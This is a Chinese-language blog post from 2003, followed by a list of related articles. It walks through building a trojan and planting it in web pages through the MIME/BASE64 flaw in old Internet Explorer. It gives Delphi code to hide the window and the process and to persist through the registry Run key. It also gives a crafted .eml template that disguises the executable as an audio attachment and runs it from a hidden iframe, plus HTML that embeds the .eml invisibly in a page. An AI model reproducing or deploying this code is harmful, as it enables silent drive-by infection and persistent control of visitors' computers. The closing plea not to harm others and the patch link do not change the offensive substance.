网页嵌入式木马之我所见

原创 2003年03月31日 09:26:00

几天前我中了一个木马,当时我很纳闷,我第一没有收过邮件,第二没有收过朋友从QQ里传来的文件,为什么我会中木马呢?于是查了一下有关资料,才发现网页也有嵌入的可能。究其原因,这是因为微软公司的在2000年发布的MIME/BASE64处理漏洞所引起的,不过这个漏洞只适用于IE5.5以下的版本的浏览器。
那么MIME是什么呢?其实MIME是Multimedia Internet Mail Extensions的缩写,是一种技术规范。而现在主要是用在扩展邮件功能上,而MIME的用处其实还不止这个,我们的B/S方式的实现其实里面就包括了MIME,它是HTTP协议的一部份。
概念我就不多说了,下面说一说这个木马的实现思路:
1、首先我们要写一个普通的木马。
2、把木马打包在*.eml文件里(打完包后不知道的人还以为是尼姆达,呵呵)。
3、把*.eml嵌入网页。
而在这里我们所要到的工具有:
1、一个普通的编程台平(如Delphi、VB、VC,而我在这里用的工具是delphi)
2、邮件编辑器(在这里我用到的是FoxMail)
3、HTML编辑工具(在这里我用到的是记事本)
好了,思路和环境我们都有了就让我们一步一步来实现这个木马吧~~~,首先我们先用Delphi做一个最基本的木马框架(在这里只建立一个框架,里面的肉你们就自己来填吧)。
1、首先我们应该在木马创建主窗口时就把其隐藏起来,大家一定会首先想到的是在form的FormCreate事件里用窗口的HIDE方法把其隐藏,那你就错了,如果像这里做程序运行时会报错,而我们应该在FormCreate事件里加入一句application.showmainform:=false;这样主窗口就在运行时得到隐藏。
2、我们应该把程序的进程所隐藏,做对方用CTRL+ALT+DEL在"关闭程序"对话框里看不到。我们就要用API函数RegisterServiceProcess来把当前进程变为一个系统服务,从而在任务列表中把程序隐藏起来,这个函数的用法为:
DWORD RegisterServiceProcess(DWORD dwProcessId,
    DWORD dwType);
不过在用之前必须从KERNEL32.DLL里重载出来。在程序里的具体用法如下:
implementation
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
  RegisterServiceProcess(GetCurrentProcessID, 1);//注册服务
end;
而GetCurrentProcessID是得本程序的程序ID,1表示为当进程注册成为系统服务。
3、把程序在下次系统起动时加载。首先我们应该在uses下加入registry单元,然后在主窗口的FormCreate事件里把本程序加入到windows注册表里的自动运行项(HKEY_LOCAL_MACHINE//Software/MicroSoft/Windows/CurrentVersion/Run)里面。好了,我们看看具体程序怎么实现:
RegF:=TRegistry.Create;//创建Registry组件,这个组件是专门针对注册表操作的组件
RegF.RootKey :=HKEY_LOCAL_MACHINE;//把根键设为HKEY_LOCAL_MACHINE
RegF.OpenKey('Software/MicroSoft/Windows/CurrentVersion/Run',True);//打开Software/MicroSoft/Windows/CurrentVersion/Run子键
RegF.WriteString('sys',ParamStr(0));//在里面写入本程序的路径
RegF.Free;//释放Registry组件。
好了,以上我们所做成的就是一个木马的框架了,下面我们看看怎么把这个程序打包在*.eml程序里面。而这时我们要把我们的程序变成BASE64编码才能嵌入*.eml文件当中,在这里我们省点事,用foxmail搞定吧~。首先我们在foxmail里面创建一封邮件并保存。打开发件箱,你会发现这封邮件在里面。用右件单击这封邮件,在弹出菜单中单击“原始信息”,再点击全部,这时你就会在filename="Project1.exe"一些“乱码”,这些乱码就是变成BASE64编码的程序。
现在先把这些BASE64编码的程序放在一边,我们来看看这个特殊邮件是怎么实现的。通常我们知道一个邮件分为包头,正文,副件,包尾组成的,在这里,我会对整个过程序进行一个解析:
1、打开记事本。
2、我们来写在记事本里写入包头信息:
From: "xxxxx"//邮件来自的地址,你没有那么笨会把自己的邮件地址写在这里吧,呵呵~
Subject: mail//邮件标题。
Date: Thu, 2 Nov 2000 13:27:33 +0100//日期
MIME-Version: 1.0//MIME的版本信息
Content-Type: multipart/related;  //联接的类型。
 type="multipart/alternative";
 boundary="1"
X-Priority: 3//优先级
X-MSMail-Priority: Normal//微软邮件优先级
X-Unsent: 1//未寄出信息
3、写入正文内容,这一部份以HTML邮件形式写入并在正文处写入一个内嵌框架,框架打开的是嵌入附件的标识,如:
--1
Content-Type: multipart/alternative;
 boundary="2"
--2
Content-Type: text/html;
 charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>//而THE-CID就是附件的标识
ok<BR>
</BODY>
</HTML>
--2--

4、写入邮件的附件部份:
--1
Content-Type: audio/x-wav;
      name="XX.exe" //此处为生成的临时文件的文件名
Content-Transfer-Encoding: base64 //编码方式
Content-ID: <THE-CID> //副件的连接ID

……… //把你刚刚用Foxmail编好的 base64编码的可执行程序拷在这里吧

5、最后写入包尾,其实包尾只有一句话,那就是:

------=_NextPart_000_0009_01C2EECC.16E8F4A0--

这样我们就完成了整个邮件包的制作,然后把其存为*.txt文件,导入foxmail里,最后把它倒出为*.eml文件。这样我们的打包过程也就结束了。双击一下我们刚生成的邮件文件,这时它会执行你刚刚所编写的木马文件~~(哈哈,害人害已敢吧~)
最后我们如果把这个文件插入网页呢?其实方法很简单,我们只需要建立一个内嵌框架把那个*.eml文件当作网页写入就可以了,我们看一下具体代码:
<html>
<body>
<iframe name="I1" src="XX.eml" width="0" height="0" marginwidth="1" marginheight="1" border="0" frameborder="0">//XX.eml就是我们刚刚导出的*.eml文件
</iframe>
</body>
</html>
好了,我们已经看清楚了这类木马的整个制作过程,试着自己也写一下,不过请不要害人呀,如果您是win98+IE5.5以下的读者请上微软的网站:http://www.microsoft.com/windows/ie/downloads/critical/q290108/default.asp 去下载一个补丁装一下吧,不要向我一样的中别人的招,请也不要用此技术到处害人哦~~~

网页嵌入式木马之我所见

几天前我中了一个木马,当时我很纳闷,我第一没有收过邮件,第二没有收过朋友从QQ里传来的文件,为什么我会中木马呢?于是查了一下有关资料,才发现网页也有嵌入的可能。究其原因,这是因为微软公司的在2000年...
  • mprogramer
  • mprogramer
  • 2003年03月31日 09:26
  • 1880

防止网页被嵌入框架的代码

最近,国内开始流行另一种流氓行为:使用框架(Frame),将你的网页嵌入它的网页中。 比如,有一家网站号称自己是"口碑聚合门户",提供全国各个网上论坛的精华内容。但是,其实它就是用框架抓取他人的...
  • jiangbqing
  • jiangbqing
  • 2016年12月22日 11:35
  • 690

吾之所为,汝之所见

1. 人之所以痛苦,在于追求错误的东西。 2. 如果你不给自己烦恼,别人也永远不可能给你烦恼。因为你自己的内心,你放不下。 3. 你永远要感谢给你逆境的众生。 4. 你永远要宽恕众生,不论...
  • binglinuxxin
  • binglinuxxin
  • 2012年08月14日 23:14
  • 2140

当心!浏览网页也会中木马

当心!浏览网页也会中木马2001-08-23 10:17:35· ·小蓉··yesky1 2 3 4 5  下一页  如果我对你说浏览网页也会感染木马,你相信吗?  其实,这已经不是相信不相信的问题了...
  • 8080
  • 8080
  • 2001年08月24日 08:54
  • 1481

网页中iframe层木马的防护

//很多网页木马都藏在于网页的iframe层中,又因为iframe曾的优先级比较高,很难用脚本屏蔽 //如果页面中真的出现非法iframe层,可以用指定页面盖掉         New...
  • selifecn
  • selifecn
  • 2017年03月12日 11:43
  • 563

教你如何清除WEB服务器木马

很多朋友都碰到过这样的现象:打开一个网站,结果页面还没显示,杀毒软件就开始报警,提示检测到木马病毒。有经验的朋友会知道这是网页病毒,但是自己打开的明明是正规网站,没有哪家正规网站会将病毒放在自己的网页...
  • smartsky
  • smartsky
  • 2007年05月22日 18:23
  • 685

各种网页木马挂马的代码

1、嵌入网页 以下是引用片段:  2、PHP网页挂马 以下是引用片段:   3、图片木马 以下是引用片段:   4、邮件木马 以下是引用片段:    5、flash木马 http://网...
  • kzh4435
  • kzh4435
  • 2007年09月30日 12:03
  • 666

考试系统之我所见

又是一学期的期末,接踵而来的就是各种考试。不过这次考试,有许多课程的考试方式已经发生了本质性的变化。不再是依托于纸张,而是用在下考试系统,完成试题、考试,计分、统计等操作。       我们八期被安...
  • xiaoxian8023
  • xiaoxian8023
  • 2012年06月14日 23:35
  • 1480

插入ASP代码让网站ASP木马

不过在上传代码过程中,许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传。这样就有好多SHELL不能上传上去了。可以采用下面的方法解决。以蓝屏最小ASP木马为例。首先:原程序代码是:〈%exec...
  • kzh4435
  • kzh4435
  • 2007年09月22日 23:25
  • 298

谈网页木马

当今网络,反病毒软件日益增多,使用的反病毒技术越来越先进,查杀病毒的能力逐渐提高,但病毒制作者并不会罢休,反查杀手段不断升级,新的病毒层出不穷,形式也越来越多样化,为了躲避查杀,病毒自身的隐蔽性越来越...
  • wudibaobei8
  • wudibaobei8
  • 2008年05月16日 17:08
  • 1065
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:网页嵌入式木马之我所见
举报原因:
原因补充:

(最多只允许输入30个字)